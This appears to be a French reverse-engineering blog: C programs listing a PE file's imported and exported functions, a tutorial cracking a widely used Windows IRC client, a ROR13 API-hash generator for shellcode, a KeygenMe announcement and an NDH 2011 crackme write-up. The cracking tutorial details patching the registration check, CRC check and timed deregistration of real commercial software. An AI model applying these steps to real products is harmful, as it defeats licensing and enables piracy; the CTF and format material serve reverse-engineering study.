    Le dernier « Thunk » est à 0.

    Si le programme ou la dll sont chargés en mémoire, alors FirstThunk devient l’adresse effective de la fonction, OriginalFirstThunk reste inchangé.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    #include <windows.h>
    #include <stdio.h>

    typedef FILE *PFILE;

    typedef struct _S_PE
    {
        PFILE pfile;
        IMAGE_DOS_HEADER iDosHeader;
        IMAGE_NT_HEADERS iNtHeaders;
        PIMAGE_SECTION_HEADER piSectionHeader;
    }S_PE, *PS_PE;

    void ListImportedFunctions(PS_PE pspe);

    void Init(PS_PE pspe);
    DWORD RvaToOffset(PS_PE pspe, DWORD rva);
    void ReadCstring(PS_PE pspe, char *name);

    int main(int argc, char *argv[])
    {
        S_PE spe;
       
        if(argc != 2)
        {
            printf("USAGE: ListImportedFunctions.exe <fichier>\n");
            printf("EXAMPLE: ListImportedFunctions.exe C:\\Windows\\System32\\kernel32.dll\n");
            printf("\n");
            system("PAUSE");
            exit(1);
        }
       
        memset(&spe, 0, sizeof(S_PE));
       
        spe.pfile = fopen(argv[1], "rb");
       
        if(spe.pfile == NULL)
        {
            printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
            exit(1);
        }
       
        Init(&spe);
       
        ListImportedFunctions(&spe);
       
        printf("\n");
       
        fclose(spe.pfile);
       
        return 0;
    }

    void Init(S_PE *pspe)
    {
        // On lit l'en-tête DOS :
        fread(&pspe->iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pspe->pfile);

        // On check la signature :
        if(pspe->iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        // On se positionne à l'offset de l'en-tête NT :
        fseek(pspe->pfile, pspe->iDosHeader.e_lfanew, SEEK_SET);
       
        // On lit l'en-tête NT :
        fread(&pspe->iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pspe->pfile);

        // On check la signature :
        if(pspe->iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        // On lit toutes les sections :
        pspe->piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * pspe->iNtHeaders.FileHeader.NumberOfSections);
       
        for(unsigned i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
        {
            fread(&pspe->piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pspe->pfile);
        }
    }

    DWORD RvaToOffset(PS_PE pspe, DWORD rva)
    {
        for(WORD i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
        {
            // La RVA est-elle dans cette section ?
            if((rva >= pspe->piSectionHeader[i].VirtualAddress) && (rva < pspe->piSectionHeader[i].VirtualAddress + pspe->piSectionHeader[i].SizeOfRawData))
            {
                rva -= pspe->piSectionHeader[i].VirtualAddress;
                rva += pspe->piSectionHeader[i].PointerToRawData;
               
                return rva;
            }
        }
       
        return -1;
    }

    void ReadCstring(PS_PE pspe, char *name)
    {
        DWORD n = 0;
       
        do
        {
            fread(name+n, sizeof(char), 1, pspe->pfile);
            n++;
        }while(name[n-1] != 0 && n < 1023);
       
        name[n] = 0;
    }

    void ListImportedFunctions(PS_PE pspe)
    {
        IMAGE_IMPORT_DESCRIPTOR iImportDesc;
        char name[1024];
        DWORD thunkData = 0;
        WORD hint = 0;

        // On se positionne a la table des fonctions importées :
        DWORD offset = RvaToOffset(pspe, pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
       
        for(DWORD i = 0;;i++)
        {
            // On se place à la structure IMAGE_IMPORT_DESCRIPTOR qu'il nous faut :
            fseek(pspe->pfile, offset + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), SEEK_SET);

            // On la lit :
            fread(&iImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, pspe->pfile);
           
            // Est-ce la dernière IMAGE_IMPORT_DESCRIPTOR?
            if((iImportDesc.Characteristics == 0) && (iImportDesc.FirstThunk == 0) && (iImportDesc.ForwarderChain == 0)
                && (iImportDesc.Name == 0) && (iImportDesc.OriginalFirstThunk == 0) && (iImportDesc.TimeDateStamp == 0)) break;
           
            // On va à la RVA du nom de la dll :
            fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.Name), SEEK_SET);
           
            // On lit le nom de la dll :
            ReadCstring(pspe, name);
            printf("[+] %s\n", name);
           
            for(DWORD j = 0;;j++)
            {
                // On se place au Thunk qu'il nous faut :
                if(iImportDesc.OriginalFirstThunk != 0)
                    fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.OriginalFirstThunk) + j * sizeof(DWORD), SEEK_SET);
                else
                    fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.FirstThunk) + j * sizeof(DWORD), SEEK_SET);
               
                // On le lit :
                fread(&thunkData, sizeof(DWORD), 1, pspe->pfile);
               
                // Est-ce le dernier?
                if(thunkData == 0) break;
               
                // Est-ce une fonction importée par son nom?
                if((thunkData & IMAGE_ORDINAL_FLAG32) == 0)
                {
                    // On va à la RVA sur IMAGE_IMPORT_BY_NAME :
                    fseek(pspe->pfile, RvaToOffset(pspe, thunkData), SEEK_SET);

                    // On lit le Hint :
                    fread(&hint, sizeof(WORD), 1, pspe->pfile);
                   
                    printf("    %d - ", hint);

                    // On lit le nom :
                    ReadCstring(pspe, name);
                    printf("%s\n", name);
                }
            }
        }
    }


     

    Et pour finir, l’inverse des fonctions importées c’est à dire les fonction exportées, ce sont les fonctions contenues dans les dll qui peuvent être appelées par tout autre programme ou dll. Comme pour les fonctions importées, on y accède grâce au tableau d’IMAGE_DATA_DIRECTORY obtenu depuis le champ DataDirectory de la structure IMAGE_OPTIONAL_HEADER. Cette fois-ci, on tombe sur la structure de données qui nous intéresse, c’est à dire la structure IMAGE_EXPORT_DIRECTORY, et tout cela en utilisant la constante IMAGE_DIRECTORY_ENTRY_EXPORT comme index pour le tableau d’IMAGE_DATA_DIRECTORY.

    Le nombre de fonctions exportées par leur nom est contenu dans le champ NumberOfNames, les RVA des noms dans AddressOfNames, les ordinaux dans AddressOfNameOrdinals.
    Ces deux champs doivent être parcourus en parallèle. Les adresses des fonctions sont dans AddressOfFunctions.

    Quand un nom est trouvé, l’ordinal est utilisé comme index dans le tableau AddressOfFunctions, si la fonction est une forwarder, l’adresse correspond à une RVA vers la string indiquant où elle est forwardée.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    #include <windows.h>
    #include <stdio.h>

    typedef FILE *PFILE;

    typedef struct _S_PE
    {
        PFILE pfile;
        IMAGE_DOS_HEADER iDosHeader;
        IMAGE_NT_HEADERS iNtHeaders;
        PIMAGE_SECTION_HEADER piSectionHeader;
    }S_PE, *PS_PE;

    void ListExportedFunctions(PS_PE pspe);

    void Init(PS_PE pspe);
    DWORD RvaToOffset(PS_PE pspe, DWORD rva);
    void ReadCstring(PS_PE pspe, char *name);

    int main(int argc, char *argv[])
    {
        S_PE spe;
       
        if(argc != 2)
        {
            printf("USAGE: ListExportedFunctions.exe <fichier>\n");
            printf("EXAMPLE: ListExportedFunctions.exe C:\\Windows\\System32\\kernel32.dll\n");
            printf("\n");
            system("PAUSE");
            exit(1);
        }
       
        memset(&spe, 0, sizeof(S_PE));
       
        spe.pfile = fopen(argv[1], "rb");
       
        if(spe.pfile == NULL)
        {
            printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
            exit(1);
        }
       
        Init(&spe);
       
        ListExportedFunctions(&spe);
       
        fclose(spe.pfile);
       
        return 0;
    }

    void Init(S_PE *pspe)
    {
        // On lit l'en-tête DOS :
        fread(&pspe->iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pspe->pfile);

        // On check la signature :
        if(pspe->iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!n");
            exit(1);
        }
       
        // On se positionne à l'offset de l'en-tête NT :
        fseek(pspe->pfile, pspe->iDosHeader.e_lfanew, SEEK_SET);
       
        // On lit l'en-tête NT :
        fread(&pspe->iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pspe->pfile);

        // On check la signature :
        if(pspe->iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        // On lit toutes les sections :
        pspe->piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * pspe->iNtHeaders.FileHeader.NumberOfSections);
       
        for(unsigned i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
        {
            fread(&pspe->piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pspe->pfile);
        }
    }

    void ListExportedFunctions(PS_PE pspe)
    {
        IMAGE_EXPORT_DIRECTORY iExportDir;
        DWORD namePos = 0;
        WORD ordinal = 0;
        DWORD address = 0;
        char name[1024];
       
        // On se positionne à la table des fonctions exportées :
        fseek(pspe->pfile, RvaToOffset(pspe, pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), SEEK_SET);
       
        // On lit la structure IMAGE_EXPORT_DIRECTORY :
        fread(&iExportDir, sizeof(IMAGE_EXPORT_DIRECTORY), 1, pspe->pfile);
       
        printf("NumberOfNames: %d\n\n", iExportDir.NumberOfNames);
       
        printf("ordinal / index -- name -- address\n\n");
       
        for(DWORD i = 0; i < iExportDir.NumberOfNames; i++)
        {
            // Ordinal
            fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfNameOrdinals) + i * sizeof(WORD), SEEK_SET);
            fread(&ordinal, sizeof(WORD), 1, pspe->pfile);
            ordinal += (WORD)iExportDir.Base;
            printf("%d -- ", ordinal);
           
            // Name
            fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfNames) + i * sizeof(DWORD), SEEK_SET);
            fread(&namePos, sizeof(DWORD), 1, pspe->pfile);
            fseek(pspe->pfile, RvaToOffset(pspe, namePos), SEEK_SET);
            ReadCstring(pspe, name);
            printf("%s -- ", name);
           
            // Address
            fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfFunctions) + (ordinal - iExportDir.Base) * sizeof(DWORD), SEEK_SET);
            fread(&address, sizeof(DWORD), 1, pspe->pfile);
            printf("%.8X", address);
           
            // Is forwarded ?
            if(pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress < address
                && address < pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
            {
                fseek(pspe->pfile, RvaToOffset(pspe, address), SEEK_SET);
                ReadCstring(pspe, name);
                printf(" (forwarder -> %s)\n", name);
            }
            else printf("\n");
        }
    }

    DWORD RvaToOffset(PS_PE pspe, DWORD rva)
    {
        for(WORD i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
        {
            // La RVA est-elle dans cette section?
            if((rva >= pspe->piSectionHeader[i].VirtualAddress) && (rva < pspe->piSectionHeader[i].VirtualAddress + pspe->piSectionHeader[i].SizeOfRawData))
            {
                rva -= pspe->piSectionHeader[i].VirtualAddress;
                rva += pspe->piSectionHeader[i].PointerToRawData;
               
                return rva;
            }
        }
       
        return -1;
    }

    void ReadCstring(PS_PE pspe, char *name)
    {
        DWORD n = 0;
       
        do
        {
            fread(name+n, sizeof(char), 1, pspe->pfile);
            n++;
        }while(name[n-1] != 0 && n < 1023);
       
        name[n] = 0;
    }


     
    Voilà tout pour cet article 🙂

    Références :
    Peering Inside the PE: A Tour of the Win32 Portable Executable File Format
    An In-Depth Look into the Win32 Portable Executable File Format
    An In-Depth Look into the Win32 Portable Executable File Format, Part 2
    Microsoft PE and COFF Specification

    Publié dans File format | Marqué avec , , , | Laisser un commentaire

    Introduction au cracking (le cas basique) :

    En guise de petite introduction au cracking, je vais vous expliquer, à titre informatif, comment cracker un des clients IRC (sûrement le plus utilisé actuellement sur windows).

    L’outil utilisé pour y parvenir est le débogueur OllyDbg.

    Il faut ouvrir le logiciel que l’on souhaite cracker avec OllyDbg pour pouvoir analyser son comportement. On lance donc en premier OllyDbg, puis « File -> Open » pour indiquer où se trouve le logiciel.

    Première chose : lancer le logiciel. Sur OllyDbg, touche « F9  » ou « Debug -> Run ».

    Je ferme toutes les boîtes de dialogue du logiciel en question (sur celui-ci, il y en a deux qui s’affichent au démarrage), et je cherche dans le menu où est-ce que je peux entrer les informations d’enregistrement.

     

    L’enregistrement :

    Une fois ce menu trouvé, une boîte de dialogue apparaît me demandant mon nom et mon code d’enregistrement.

    Dans l’API windows, c’est la fonction DialogBoxParam qui est utilisée pour créer cette boîte de dialogue.

    Je retourne sur OllyDbg et je place un breakpoint sur chaque appel de DialogBoxParam. Dans la fenêtre CPU, partie code assembleur, je fais un clique droit -> « Search for » -> « Name (label) in current module » (CTRL+N) pour ensuite cliquer droit sur « USER32.DialogBoxParamW » et choisir « Set breakpoint on every reference ».

    Je retourne maintenant dans le menu d’enregistrement pour cliquer dessus. OllyDbg devrait break avant l’affichage de la boîte de dialogue, me demandant mon nom et mon code d’enregistrement.

    Il faut maintenant se rendre dans la fonction qui gère les messages de cette boîte de dialogue. Si je regarde sur la partie de la fenêtre CPU réservée à la pile, je vois l’adresse de cette fonction. Elle se nomme « DlgProc ». Il me suffit de taper « entrer » dessus.

    Me voilà dans la fonction qui va traiter chaque évènement de cette boîte de dialogue. Avec l’API windows, je sais que pour obtenir le texte d’un contrôle il faut utiliser le message « WM_GETTEXT ». Je vais donc chercher ce message dans la fenêtre CPU au niveau du code assembleur.

    Quelques lignes plus bas, je peux voir deux fonctions nommées « SendDlgItemMessageW » qui utilisent ce message (WM_GETTEXT). Ces fonctions sont utilisées pour obtenir le texte des contrôles me demandant mon nom et mon code d’enregistrement.

    Je place un breakpoint juste après ces deux fonctions, il suffit pour cela de double cliquer sur les bytes correspondants à la ligne ou F2 (l’adresse de la ligne devient rouge) puis de continuer l’exécution du logiciel avec la touche F9.

    La boîte de dialogue apparaît et me demande d’entrer les informations, je vais entrer « opc0de » en tant que nom et « azertyuiop » en tant que code d’enregistrement puis valider.

    Je retourne dans OllyDbg qui s’est arrêté sur mon breakpoint placé après les deux WM_GETTEXT. Il s’agit maintenant de continuer pas à pas, c’est à dire touche F7 ou F8. J’ai supposé qu’une fonction devait vérifier si ce que je viens d’entrer est correct. Je sais qu’en assembleur, le retour d’une fonction se trouve dans le registre EAX. J’ai donc cherché chaque instruction qui testait ou comparait ce registre après un call dans le code, pour finir sur la bonne fonction se trouvant juste avant un « Sleep » de 1000 ms.

    1
    2
    3
    4
    5
    6
    CALL logiciel.adresse
    ADD ESP,0C
    TEST EAX,EAX
    JE logiciel.adresse
    PUSH 3E8
    CALL DWORD PTR DS:[]


     

    Une fois trouvée, j’entre dans la fonction du CALL logiciel.adresse avec la touche F7. Pour assembler deux instructions je clique droit sur « Assemble » ou touche espace. La première : MOV EAX,1 puis à la suite, la deuxième instruction RET.

    Je continue l’exécution du programme pour voir ce qu’il se passe avec F9. OllyDbg break encore sur DialogBoxParamW, je passe donc toujours avec F9.

    Et là, une nouvelle boîte de dialogue apparaît me confirmant mon enregistrement!

    Cette partie étant réglée, je sauvegarde le binaire par un clique droit sur la fenêtre CPU (partie code assembleur) -> Copy to executable -> All modification -> Copy all. Je ferme la nouvelle fenêtre, puis je répond « oui » et « Enregistrer » pour écraser celui d’origine.

    Maintenant, si j’essaie d’exécuter le logiciel en dehors d’OllyDbg, rien ne se passe. Le logiciel a une protection qui contrôle l’intégralité du binaire (CRC) et comme je viens de le modifier, il refuse de s’exécuter.

     

    Le CRC :

    Pour checker l’intégralité d’un binaire, il faut l’ouvrir puis le lire. Sur windows, cela se fait avec les fonctions CreateFile et ReadFile. Je vais donc recharger le logiciel dans OllyDbg et mettre un breakpoint sur chaque appel de ces fonctions.

    Je démarre OllyDbg, et dans File -> Open j’ouvre le logiciel que je viens de modifier. Ensuite, pour placer les breakpoints, je clique droit sur la fenêtre CPU (partie code assembleur) -> Search for -> Name (label) in current module (CTRL+N) et, clique droit sur KERNEL32.CreateFileW et KERNEL32.ReadFile pour choisir Set breakpoint on every reference.

    Maintenant je peux run le logiciel avec F9. Je tombe alors sur le premier breakpoint, le premier CreateFileW dont il faut regarder le nom du fichier qui va être ouvert, dans mon cas il s’agit bien du logiciel. Je garde donc en tête l’adresse de la valeur de retour du CreateFileW qui correspond au handle du fichier.

    Je continue l’exécution (touche F9) pour tomber sur un nouveau breakpoint qui correspond à un ReadFile. Une fois rendu ici, je commence par comparer les handles, qui, dans mon cas, correspondent parfaitement.

    La fonction ReadFile prend en argument un pointeur sur le buffer qui va contenir ce qui va être lu. Je vais poser un breakpoint pour stopper l’exécution lorsque ce buffer sera lu. Dans la fenêtre CPU, sur la partie qui correspond à la pile, je vois l’adresse de ce buffer. Je clique droit dessus et je choisis « Follow in Dump ». Ensuite, dans la partie de la fenêtre CPU correspondant au « Hex dump », je me place sur le premier byte pour y faire un clique droit -> Breakpoint -> Hardware, on access et choisis Dword.

    Je run (F9) et je tombe sur le Hardware breakpoint où j’y vois la ligne suivante :

    1
    REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]


     

    On voit donc qu’il met tout dans ES:[EDI]. Je vais refaire un Hardware breakpoint mais ce coup-ci sur ES:[EDI]. Dans la fenêtre CPU, dans la petite partie entre le code assembleur et la partie « Hex dump », j’y vois l’adresse de ce ES:[EDI]. Je me place dessus puis clique droit et « Follow address in Dump ». Je me replace, dans « Hex dump », sur le premier byte puis clique droit puis Breakpoint -> Hardware, on access et rechoisis Dword.

    Pour ne pas retomber sur le Hardware breakpoint 1, je le delete : menu Debug -> Hardware breakpoints -> Delete 1 et valide. Je désactive également tous les autres breakpoints : menu View -> Breakpoints et je supprime tout.

    Je run (F9). Je tombe alors sur une grosse boucle qui a l’air de checker si c’est correct. A la première sortie de la boucle dans laquelle je suis tombée, je vois une comparaison et un saut qui n’est pas effectué :

    1
    2
    CMP EAX,-1
    JE SHORT logiciel.0044B123


     

    Je décide de prendre ce saut en remplaçant (touche espace sur la ligne) ce JB par un JMP. Le code devient donc :

    1
    JMP SHORT logiciel.0044B123


     

    Avec ce saut, je me retrouve à la ligne juste après la boucle qui, je suppose, check le CRC. Ensuite, je delete le Hardware breapoint 2 : menu Debug -> Hardware breakpoints -> Delete 2 et OK. Je run à nouveau (F9) et le logiciel se lance. Je vérifie et je vois qu’il est bien enregistré en tant qu’opc0de. Le logiciel est donc cracké ! Il faut enregistrer notre travail car ce n’est pas finit.

     

    L’espèce d’anti-crack :

    Si vous utilisez le logiciel tel qu’il est maintenant, vous remarquerez qu’au bout d’environ 10 minutes d’utilisation, vous ne serez plus enregistré et qu’à son prochain démarrage, vous ne le serez plus du tout.

    Donc il doit y avoir dans notre logiciel une routine qui doit revérifier si notre enregistrement est correct et supprimer quelque chose qui, je suppose, se trouve dans la base de registre.

    Relançons notre logiciel dans OllyDbg, puis rendons-nous sur notre channel favoris, mettons des breakpoints à l’appel de la fonction fournie par l’api win32 pour delete une donnée dans la base de registre, cette fonction se nomme : RegDeleteKeyW.

    Donc, fenêtre CPU, partie code assembleur, clique droit -> « Search for » -> « Name (label) in current module » (CTRL+N), clique droit sur « ADVAPI32.RegDeleteKeyW » et choisir « Set breakpoint on every reference ».

    Au bout d’environ 10 minutes d’utilisation, OllyDbg break dessus dans une petite routine. Maintenant je regarde dans la stack où est appelée cette routine et je m’y place, je vois bien le call qui nous y amène. Quelques lignes plus haut on peut voir un JNZ qui saute la partie où est exécuté ce call :

    1
    JNZ logiciel.00FC8756

     

    Je pause un breakpoint dessus, je delete tous les autres breakpoints et je relance le logiciel dans OllyDbg. Il n’y a plus qu’à attendre, toujours environ 10 minutes après avoir rejoint un channel.

    OllyDbg break sur notre JNZ et on voit bien qu’il n’est pas pris en compte, on le change par un JMP pour être sûr qu’il jump et on voit ce qu’il se passe…

    Avec cette modification le logiciel IRC reste enregistré.

    Voilà, c’est tout pour ce tutoriel car il n’y a plus rien à faire sur le logiciel irc que j’ai utilisé comme exemple.

    Publié dans Cracking | Marqué avec , | 2 commentaires

    Generate Hash :

    Code sans GUI qui permet de générer le hash d’une fonction comme par exemple MessageBoxA pour être utilisé dans les shellcodes sur windows.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    #include <windows.h>
    #include <stdio.h>

    int main(int argc, char *argv[])
    {
        char *funcname = NULL;
        DWORD res = 0;

        if(argc != 2)
        {
            printf("USAGE: GenerateHash.exe <funcname>\n");
            printf("EXEMPLE: GenerateHash.exe MessageBoxA\n\n");
            system("PAUSE");
            exit(1);
        }

        else funcname = argv[1];

        __asm
        {
            prepare_hash:
            mov esi, funcname // On fait pointer esi sur funcname.
            xor edi, edi // On met edi à zéro.
            xor eax, eax // On met eax à zéro.
            cld // Clear direction flag : pour être sûr que ça incrémente (de gauche à droite) pendant l'utilisation de lodsb.

            hash:
            lodsb // Charge un byte de esi dans al et incrémente esi.
            test al, al // On regarde si le byte est à zéro.
           
            jz hash_finished // Si oui on a atteint la fin de la string (funcname).
            ror edi, 0xd // Rotation de 13 bits vers la droite de la valeur courante.
            add edi, eax // Ajout du caractère au hash.

            jmp hash // On continue.

            hash_finished: // On a finit.
            mov res, edi // On met le hash dans la variable res.
        }

        printf("\n%s = %.8x\n", funcname, res);

        return 0;
    }


     

    Publié dans Shellcode | Marqué avec , , , | Laisser un commentaire

    KeygenMe By int_0x80

    Bonjour all!

    Cela faisait un moment que je n’avais pas posté sur le blog. Mais en voyant le temps qu’il faisait dehors, je me suis dis qu’un peu de code ne devrait pas me faire de mal. C’est pourquoi j’ai développé un petit KeygenMe (mon premier), donc ne vous attendez pas à quelque chose d’exceptionnel! Il est d’un niveau relativement simple. J’attends des critiques en retour, merci.

    Cliquez ici pour télécharger le KeygenMe

    – Système : Debian Squeeze.
    – Md5 (binaire) : 3e83496ed6014d8cdd7694d8f4eb08d3
    – Compilé avec gcc version 4.4.5.
    – Paquet à installer : libgtk2.0-0
    – Objectif : Trouver le serial correspondant à votre login.

    Un petit screen :

    Publié dans Non classé | Marqué avec , , | Un commentaire

    Préquals NDH 2011 – La Nuit Du Crack (rce100 ne se fume pas, il se crack) – By Lu33y & int_0x80

    Le 2 avril 2011 a fait place aux pré-qualifications de la NDH 2011. Un CTF très attendu qui est malheureusement tombé un week-end de beau temps. Et qui dit temps magnifique, dit promenades, sport et très peu de « geekage » !

    Mais je ne pouvais pas résister à un sympathique challenge de Reverse-Engineering win32.

    C’est pour cette raison que je me suis retrouvé à me triturer les neurones sur le rce100!

    Voici le programme de ce write-up :

    I/ – Découverte du CrackMe. (Lu33y)
    II/ – Unpacking « presque » perso. (Lu33y)
    III/ – Elle est où cette routine de vérification de mot de passe ? (Lu33y)
    IV/ – Le côté obscure du bruteforcing. (int_0x80)


    I/ Découverte du CrackMe :

    On a affaire à un CrackMe qui nous demande d’entrer un code afin de valider l’épreuve.

    On commence par lancer notre bon vieux « PEiD » :

    Celui-ci ne trouve aucune signature de « packer » connu. On se dit alors que pour une épreuve qui rapporte 100 points, on a peut-être affaire à un CrackMe tout simple …
    On ouvre donc le CrackMe sous OllyDbg puis on enchaine avec un « ctrl+n » :

    Entre le pushAD, le warning d’OllyDbg et l’appel à « VirtualAlloc » on comprend vite que l’on a affaire à un programme « packé » !!!


    II/ Unpacking « presque » perso :

    Le « packer » ressemble beaucoup à UPX. Je dis ressemble car il ne m’a pas été possible d’utiliser un « unpacker » UPX dessus … Donc on y va à « la mano » !!!
    Comme pour UPX, notre programme commence avec un « PUSHAD » qui sauvegarde tous les registres dans la pile.
    Il faut que l’on trouve le code assembleur « POPAD » qui va restaurer tous les registres avant de sauter vers un nouvel OEP.

    Voila à quoi ressemble cette routine en général :

    1
    2
    3
    4
    5
    6
    7
    PUSHAD
    Du code
    Encore du code


    POPAD
    JMP vers OEP

    Dans le cas du rce100, on a ceci :

    PUSH AD :

    POP AD :

    Dans un premier temps, on va chercher à avoir notre programme sous sa forme décompressée en mémoire. Pour cela, on pose un breakpoint (F2) sur l’instruction assembleur « JMP 0041E74B » (vous aurez probablement une adresse différente), on lance notre programme (F9) et on avance d’une instruction (F8).
    Au passage, on note le nouvel OEP. Maintenant que notre programme est décompressé en mémoire, on va chercher à obtenir une copie sur notre disque dur, qu’on appelle plus communément : un dump. Pour cela on peut utiliser LordPE ou le plugin Ollydump (ce qui revient au même !).

    Utilisons LordPE :

    On sélectionne notre programme et on note au passage l’IMAGEBASE, qui est ici de 400000. On clique droit et on sélectionne Dump Full comme ci-dessous :

    On finit par enregistrer le « dump » sur notre disque dur avec le nom « dump.exe ».
    Le dump nouvellement crée contient toutes les instructions nécessaires au bon fonctionnement du CrackMe, pourtant si on essaie de l’exécuter il ne fonctionnera pas.
    En effet, le CrackMe utilise des fonctions qui ne sont pas propre à lui-même.
    Toutes ces informations sont contenues dans l’IAT du CrackMe (Import Address Table). « Dumper » un programme ne reconstruit pas un IAT exploitable, c’est pour cette raison que notre « dump.exe » ne fonctionne pas. Il va donc falloir reconstruire cette table.
    Pour nous aider dans cette tâche, nous allons utiliser ImpRec [d’ou Import Reconstructor]. Nous commençons par sélectionner notre CrackMe : rce100.exe
    Dans la fenêtre de log on peut noter encore l’ImageBase 400000.
    Nous avons vu plus haut que notre nouvel OEP était 0041E74B donc pour ImportRec nous faisons OEP=Nouvel OEP – imagebase de Olly : 0041E74B – 400000 = 1E74B. On modifie cette donnée manuellement si besoin dans la case “OEP”, puis on clique sur IAT Auto Search.

    Tout fonctionne jusqu’à présent, puisque ImpRec trouve quelque chose et nous le dit. Il ne nous reste plus qu’à cliquer sur « Get Imports », et ceux-ci doivent être valides comme ci-dessous :

    Maintenant, on va réparer le dump endommagé en cliquant sur Fix Dump, puis en sélectionnant notre fichier dump.exe.
    ImpRec sauvegarde une copie de notre dump appelé “dump_.exe”. Si vous l’essayez, le fichier nouvellement crée fonctionne !
    On se retrouve finalement avec un CrackMe lisible sur lequel on va pouvoir travailler.


    III/ Elle est où cette routine de vérification de mot de passe?

    On commence par effectuer une recherche sur les chaînes de caractère qui ne nous ne retournent pas trop d’infos.
    On poursuit avec un « CTRL + n » et on se met à chercher une API intéressante.
    On pose un breakpoint sur un « strcmp », et on debug en mode pas à pas jusqu’à tomber sur une fonction qui retourne un résultat nous permettant de rediriger le flux de notre programme vers un BadBoy ou un GoodBoy.

    On comprend très rapidement que l’on est face à la routine de vérification du mot de passe.

    On traduit cette portion de code assembleur en pseudo-code, telle que :

    Fonction de calcul d’un hash perso :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [
    ESI = 0xDEADBEEF
    1/ Pour chaque caractère composant notre  « serial » :
    ESI = ESI x 0x38271606
    EAX = EAX x 0x5B86AFFE
    EAX = EAX - ESI
    ESI = EAX
    End 1/
    EAX = ESI
    ]

    Pour obtenir le GoodBoy, EAX doit être égal à 0xC4B1801C.


    IV/ Le côté obscure du bruteforcing :

    C’est bientôt finit, mais il faut encore se triturer les méninges … (pour 100 points).
    Le seul moyen de trouver la solution qui nous permettrait d’afficher un GoodBoy est de tester toutes les solutions possibles en brute forçant !
    On commence donc par croiser les doigts en espérant que le staff nous ai épargné plusieurs heures de calculs avec un serial de petite taille.
